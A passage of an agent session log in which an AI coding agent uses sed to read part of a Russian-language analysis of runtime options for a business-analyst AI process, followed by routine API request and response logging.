docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\",\n[2026-09-29T07:51:35.157Z] [INFO]           \"description\": \"Read refutation criterion context\"\n[2026-09-29T07:51:35.157Z] [INFO]         },\n[2026-09-29T07:51:35.157Z] [INFO]         \"caller\": {\n[2026-09-29T07:51:35.157Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:51:35.157Z] [INFO]         }\n[2026-09-29T07:51:35.157Z] [INFO]       }\n[2026-09-29T07:51:35.157Z] [INFO]     ],\n[2026-09-29T07:51:35.157Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:35.157Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:35.157Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:35.157Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:35.157Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:35.157Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:35.157Z] [INFO]       \"cache_creation_input_tokens\": 1419,\n[2026-09-29T07:51:35.157Z] [INFO]       \"cache_read_input_tokens\": 101134,\n[2026-09-29T07:51:35.157Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:35.157Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:35.157Z] [INFO]         \"ephemeral_1h_input_tokens\": 1419\n[2026-09-29T07:51:35.157Z] [INFO]       },\n[2026-09-29T07:51:35.157Z] [INFO]       \"output_tokens\": 20,\n[2026-09-29T07:51:35.157Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:35.157Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:35.157Z] [INFO]     },\n[2026-09-29T07:51:35.157Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:35.157Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:35.157Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:35.157Z] [INFO]   },\n[2026-09-29T07:51:35.157Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:35.157Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:35.157Z] [INFO]   \"uuid\": \"3f6fdeb1-46c5-44c3-a4f0-23f10324413f\",\n[2026-09-29T07:51:35.157Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:35.127Z\",\n[2026-09-29T07:51:35.157Z] [INFO]   \"request_id\": \"req_011CfXNDuiJ52HTTayDfTQ1i\",\n[2026-09-29T07:51:35.157Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:51:35.157Z] [INFO]     \"toolu_01X9Kkn54ojJQ1dZfriJ5dHv\": {\n[2026-09-29T07:51:35.157Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; sed -n 325,345p docs/analysis/2026-09-29-ba-ai-process-runtime-options.md; sed -n 385,395p docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\",\n[2026-09-29T07:51:35.157Z] [INFO]       \"description\": \"Read refutation criterion context\"\n[2026-09-29T07:51:35.157Z] [INFO]     }\n[2026-09-29T07:51:35.157Z] [INFO]   }\n[2026-09-29T07:51:35.157Z] [INFO] }\n[2026-09-29T07:51:36.472Z] [INFO] {\n[2026-09-29T07:51:36.472Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:51:36.472Z] [INFO]   \"message\": {\n[2026-09-29T07:51:36.472Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:51:36.472Z] [INFO]     \"content\": [\n[2026-09-29T07:51:36.472Z] [INFO]       {\n[2026-09-29T07:51:36.472Z] [INFO]         \"tool_use_id\": \"toolu_01X9Kkn54ojJQ1dZfriJ5dHv\",\n[2026-09-29T07:51:36.472Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:51:36.472Z] [INFO]         \"content\": \"**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.**\\n\u041f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u0441\u0451, \u0447\u0442\u043e \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442: \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u0441\u0445\u0435\u043c\u044b, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b,\\n\u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 ([\u0413-35](#\u0433-35)), \u0442\u0435\u0441\u0442\u044b runner. \u041d\u043e\u0432\u043e\u0439\\n\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434 1 \u0438 2\\n\u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u044b: \u0432 \u0441\u0440\u0435\u0434\u0435 1 \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u043a\u043e\u0434\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e API \u043d\u0435\u0442, \u0438\\nrunner \u0432\u0435\u0434\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u043f\u0438\u0448\u0435\u0442 \u0430\u0433\u0435\u043d\u0442.\\n\\n**\u0427\u0435\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435 \u0434\u0430\u0451\u0442.** \u0411\u0410 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 \u0438 \u0441\u0430\u043c\\n\u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0435 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435,\\n\u0431\u0435\u0437 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439. \u042d\u0442\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043c\u0435\u0441\u0442\u0430, \u0430 \u043d\u0435 \u0434\u0435\u0444\u0435\u043a\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u041f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.** \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447\\n\u043f\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e ADR-018 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438\\n\u043f\u043e \u0436\u0443\u0440\u043d\u0430\u043b\u0443 runner \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n\\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4\\n\\n**\u0421\u0443\u0442\u044c.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430. \u041e\u043d\u0430 \u0441\u0430\u043c\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435, \u0436\u0434\u0451\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0438 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u0436\u043d\u043e \u0438 \u0445\u0440\u0430\u043d\u0438\u0442 \u0436\u0443\u0440\u043d\u0430\u043b\\n\u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e. \u042d\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435\\n[ADR-019, \u0441\u0440\u0435\u0434\u0430 4](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96):\\n\\n## \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u044e\u0449\u0438\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\\n\\n- **\u0417\u0430 \u00ab\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0432 \u043a\u043e\u0434\u0435, \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435\u00bb.** Anthropic: workflow \u0434\u0430\u044e\u0442\\n  \u00abpredictability and consistency for well-defined tasks\u00bb\\n  ([Building effective agents](https://www.anthropic.com/engineering/building-effective-agents));\\n  HumanLayer, \u0444\u0430\u043a\u0442\u043e\u0440 8 \u2014 \u00abOwn your control flow\u00bb\\n  ([12-factor agents](https://github.com/humanlayer/12-factor-agents));\\n  LangChain: \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u2014 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 workflow \u0438\\n  \u0430\u0433\u0435\u043d\u0442\u043e\u0432 ([How to think about agent frameworks](https://www.langchain.com/blog/how-to-think-about-agent-frameworks)).\\n  BA-\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438 \u2014 \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430.\",\n[2026-09-29T07:51:36.472Z] [INFO]         \"is_error\": false\n[2026-09-29T07:51:36.472Z] [INFO]       }\n[2026-09-29T07:51:36.472Z] [INFO]     ]\n[2026-09-29T07:51:36.472Z] [INFO]   },\n[2026-09-29T07:51:36.472Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:36.472Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:36.472Z] [INFO]   \"uuid\": \"e561cf13-1518-4184-878a-b570b33b7561\",\n[2026-09-29T07:51:36.472Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:36.465Z\",\n[2026-09-29T07:51:36.472Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:51:36.472Z] [INFO]     \"stdout\": \"**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.**\\n\u041f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u0441\u0451, \u0447\u0442\u043e \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442: \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u0441\u0445\u0435\u043c\u044b, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b,\\n\u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 ([\u0413-35](#\u0433-35)), \u0442\u0435\u0441\u0442\u044b runner. \u041d\u043e\u0432\u043e\u0439\\n\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434 1 \u0438 2\\n\u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u044b: \u0432 \u0441\u0440\u0435\u0434\u0435 1 \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u043a\u043e\u0434\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e API \u043d\u0435\u0442, \u0438\\nrunner \u0432\u0435\u0434\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u043f\u0438\u0448\u0435\u0442 \u0430\u0433\u0435\u043d\u0442.\\n\\n**\u0427\u0435\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435 \u0434\u0430\u0451\u0442.** \u0411\u0410 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 \u0438 \u0441\u0430\u043c\\n\u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0435 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435,\\n\u0431\u0435\u0437 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439. \u042d\u0442\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043c\u0435\u0441\u0442\u0430, \u0430 \u043d\u0435 \u0434\u0435\u0444\u0435\u043a\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u041f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.** \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447\\n\u043f\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e ADR-018 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438\\n\u043f\u043e \u0436\u0443\u0440\u043d\u0430\u043b\u0443 runner \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n\\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4\\n\\n**\u0421\u0443\u0442\u044c.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430. \u041e\u043d\u0430 \u0441\u0430\u043c\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435, \u0436\u0434\u0451\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0438 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u0436\u043d\u043e \u0438 \u0445\u0440\u0430\u043d\u0438\u0442 \u0436\u0443\u0440\u043d\u0430\u043b\\n\u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e. \u042d\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435\\n[ADR-019, \u0441\u0440\u0435\u0434\u0430 4](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96):\\n\\n## \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u044e\u0449\u0438\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\\n\\n- **\u0417\u0430 \u00ab\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0432 \u043a\u043e\u0434\u0435, \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435\u00bb.** Anthropic: workflow \u0434\u0430\u044e\u0442\\n  \u00abpredictability and consistency for well-defined tasks\u00bb\\n  ([Building effective agents](https://www.anthropic.com/engineering/building-effective-agents));\\n  HumanLayer, \u0444\u0430\u043a\u0442\u043e\u0440 8 \u2014 \u00abOwn your control flow\u00bb\\n  ([12-factor agents](https://github.com/humanlayer/12-factor-agents));\\n  LangChain: \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u2014 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 workflow \u0438\\n  \u0430\u0433\u0435\u043d\u0442\u043e\u0432 ([How to think about agent frameworks](https://www.langchain.com/blog/how-to-think-about-agent-frameworks)).\\n  BA-\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438 \u2014 \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430.\",\n[2026-09-29T07:51:36.472Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:51:36.472Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:51:36.472Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:51:36.472Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:51:36.472Z] [INFO]   }\n[2026-09-29T07:51:36.472Z] [INFO] }\n[2026-09-29T07:51:36.510Z] [STDOUT] [log_d51dfe] sending request {\n[2026-09-29T07:51:36.513Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:51:36.517Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:36.522Z] [STDOUT]   options: {\n[2026-09-29T07:51:36.526Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:51:36.532Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:51:36.544Z] [STDOUT]     body: {\n[2026-09-29T07:51:36.547Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:51:36.552Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:51:36.556Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:51:36.558Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:51:36.561Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:51:36.565Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:51:36.568Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:51:36.571Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:51:36.573Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:51:36.577Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:51:36.580Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:51:36.584Z] [STDOUT]       stream: true,\n[2026-09-29T07:51:36.586Z] [STDOUT]     },\n[2026-09-29T07:51:36.588Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:51:36.590Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:51:36.594Z] [STDOUT]       aborted: false,\n[2026-09-29T07:51:36.597Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:51:36.600Z] [STDOUT]       onabort: null,\n[2026-09-29T07:51:36.603Z] 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charset=utf-8\",\n[2026-09-29T07:51:37.504Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:51:37 GMT\",\n[2026-09-29T07:51:37.508Z] [STDOUT]     \"request-id\": \"req_011CfXNEACCPuEUZuhKoXKHw\",\n[2026-09-29T07:51:37.510Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:51:37.514Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:37.530Z] [STDOUT]     traceresponse: \"00-8bb82f1e58f72cbc4bdb690aea2b039f-6b3f4c02882ec914-01\",\n[2026-09-29T07:51:37.536Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:37.541Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:51:37.547Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:37.551Z] [STDOUT]   },\n[2026-09-29T07:51:37.554Z] [STDOUT]   durationMs: 799,\n[2026-09-29T07:51:37.556Z] [STDOUT] }\n[2026-09-29T07:51:37.560Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:51:37.565Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:51:37 GMT\",\n[2026-09-29T07:51:37.570Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:37.574Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:37.580Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:51:37.587Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:37.592Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:37.596Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:37.602Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:51:37.608Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:37.611Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:37.614Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:37.621Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:37.630Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:37.638Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:37.648Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:37.658Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:37.663Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:37.667Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:37.669Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:37.672Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:37.677Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:37.680Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:37.684Z] [STDOUT]   \"request-id\": \"req_011CfXNEACCPuEUZuhKoXKHw\",\n[2026-09-29T07:51:37.686Z] [STDOUT]   \"traceresponse\": \"00-8bb82f1e58f72cbc4bdb690aea2b039f-6b3f4c02882ec914-01\",\n[2026-09-29T07:51:37.689Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:37.692Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:37.696Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:51:37.698Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:37.703Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:37.706Z] [STDOUT]   \"cf-ray\": \"a42967553d1a01ff-CDG\",\n[2026-09-29T07:51:37.709Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:51:37.714Z] [STDOUT] [log_d51dfe] response parsed {\n[2026-09-29T07:51:37.716Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:37.723Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:37.728Z] [STDOUT]   body: X {\n[2026-09-29T07:51:37.731Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:51:37.735Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:51:37.738Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:51:37.742Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:51:37.749Z] [STDOUT]     